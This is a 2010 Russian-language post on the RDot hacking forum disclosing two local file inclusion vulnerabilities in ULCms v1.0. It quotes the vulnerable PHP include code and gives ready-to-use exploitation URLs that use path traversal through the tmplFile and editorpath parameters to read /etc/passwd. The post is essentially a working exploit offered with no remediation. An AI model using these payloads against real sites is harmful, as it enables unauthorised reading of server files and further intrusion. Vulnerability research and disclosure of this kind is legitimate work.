RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   ULCms (https://rdot.org/forum/showthread.php?t=187)

Atra Pluvia 07.07.2010 15:54

ULCms
 
ULCms V1.0
Download: http://code.google.com/p/ulcms/

LFI(rg==on):

Уязвимый файл:
./template/template.php

Код:
PHP код:

<?php
if ( !isset($tmplFile) ) {
    
$templateFile BASE.$templateDir.$settingInfo['backEndTemplateName']."/".PHP_SCRIPT."";
} else {
        
$templateFile BASE.$templateDir.$settingInfo['backEndTemplateName']."/".$tmplFile;    
}
//debugVar($templateFile);
if ( !file_exists($templateFile) ) {
    die(
"Module files: $templateFile not existedЈЎ<br>Session halted.");
} else {
    include_once(
$templateFile);
}
?>

Эксплуатация:
./template/template.php?tmplFile=../../../../../../../../../etc/passwd

LFI(rg==on):

Уязвимый файл:
./template/admin/article.php

Эксплуатация:
./template/admin/article.php?editorpath=../../../../../../../../../../../../../../../etc/passwd


Часовой пояс GMT +3, время: 22:23.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot